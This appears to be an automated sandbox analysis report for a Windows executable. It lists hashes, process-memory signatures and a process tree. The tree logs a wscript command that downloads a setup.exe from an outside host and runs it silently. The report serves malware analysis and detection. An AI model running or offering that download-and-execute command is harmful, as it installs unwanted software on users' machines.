Analysis
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max time kernel
153s -
max time network
143s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
15/03/2024, 15:06
Static task
static1
Behavioral task
behavioral1
Sample
cbb8f341256f07d59a449c7bc0b28211.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
cbb8f341256f07d59a449c7bc0b28211.exe
Resource
win10v2004-20240226-en
General
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Target
cbb8f341256f07d59a449c7bc0b28211.exe
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Size
92KB
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MD5
cbb8f341256f07d59a449c7bc0b28211
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SHA1
e5012e367d6f4aa1f966b801dc1cfaba3554699c
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SHA256
fd4823604bc2633fc2c89c3b25aec23eb81303118fe9605be4ee3b89107d0789
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SHA512
f98130e718a445df1e7706bff8b0c898501a65c45c7f038fec1359c9a08ba91e78a131778d71e6a506ef9629ccedafd6bd2b7c77389e83daa2c2c303e75ed0a1
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SSDEEP
1536:+o7kk+E2w2h9RGLf+09CsSK7QJqfMrIt3dakSlJ7vvvvdQv+2q4f2:9hwwkD3veX6lJGqs2
Malware Config
Signatures
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Suspicious use of WriteProcessMemory 9 IoCs
description pid Process procid_target PID 4060 wrote to memory of 5112 4060 cbb8f341256f07d59a449c7bc0b28211.exe 98 PID 4060 wrote to memory of 5112 4060 cbb8f341256f07d59a449c7bc0b28211.exe 98 PID 4060 wrote to memory of 5112 4060 cbb8f341256f07d59a449c7bc0b28211.exe 98 PID 5112 wrote to memory of 4792 5112 cbb8f341256f07d59a449c7bc0b28211.exe 99 PID 5112 wrote to memory of 4792 5112 cbb8f341256f07d59a449c7bc0b28211.exe 99 PID 5112 wrote to memory of 4792 5112 cbb8f341256f07d59a449c7bc0b28211.exe 99 PID 4792 wrote to memory of 4948 4792 cbb8f341256f07d59a449c7bc0b28211.exe 100 PID 4792 wrote to memory of 4948 4792 cbb8f341256f07d59a449c7bc0b28211.exe 100 PID 4792 wrote to memory of 4948 4792 cbb8f341256f07d59a449c7bc0b28211.exe 100
Processes
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C:\Users\Admin\AppData\Local\Temp\cbb8f341256f07d59a449c7bc0b28211.exe"C:\Users\Admin\AppData\Local\Temp\cbb8f341256f07d59a449c7bc0b28211.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4060 -
C:\Users\Admin\AppData\Local\Temp\cbb8f341256f07d59a449c7bc0b28211.exeC:\Users\Admin\AppData\Local\Temp\cbb8f341256f07d59a449c7bc0b28211.exe 2245419583552⤵
- Suspicious use of WriteProcessMemory
PID:5112 -
C:\Users\Admin\AppData\Local\Temp\cbb8f341256f07d59a449c7bc0b28211.exeC:\Users\Admin\AppData\Local\Temp\cbb8f341256f07d59a449c7bc0b28211.exe -bkg 2245419583553⤵
- Suspicious use of WriteProcessMemory
PID:4792 -
C:\Windows\SysWOW64\wscript.exewscript /B "C:\Users\Admin\AppData\Local\Temp\stb170E.tmp\stub.vbe" "http://upgrade.beatboxtriangle.com/install.aspx?b=basicscan" "C:\Users\Admin\AppData\Local\Temp\stb170D.tmp\setup.exe" ""C:\Users\Admin\AppData\Local\Temp\stb170D.tmp\setup.exe" -i edf237f33c4740c980d9611ef64062d3 -p BscscnPB /S" "http://upgrade.beatboxtriangle.com/?vn=0&ny81=623&rea=9999&whi80=8101&cid=edf237f33c4740c980d9611ef64062d3&herp8=58&b=basicscan&dxx87=65&ptag=BscscnPB&awd0=000&av=Ao19cDF0lroKQZGcGWv64KQowTOUJpXf8zxYqCi0&nkcd10=4701&product=0&cgo2=676&as=Ao19cDF0lroKQZGcGWv64KQowTOUJpXf8zxYqCi0" 0 14⤵PID:4948
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C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=1340 --field-trial-handle=2276,i,11674642242468042059,14711253743544118298,262144 --variations-seed-version /prefetch:81⤵PID:4436
Network
MITRE ATT&CK Matrix
Replay Monitor
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Downloads
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Filesize
5KB
MD5babda98240e8ff7927acfe95e7447f3d
SHA19ef98b18119b388638aedf3e50e59c07b121c99b
SHA2567697b0aac6263241cb6b27e824644bda1e9fe95bab761626ac1c7c7454fbbbac
SHA512ab62f6d65c7f9ca591590534bcbb8930dbedb48294eef6c832581b5ba754a14a53a3013cac728902d6bb83dd6a5db2d29444a5cf1df093de6ed600c70b7bf484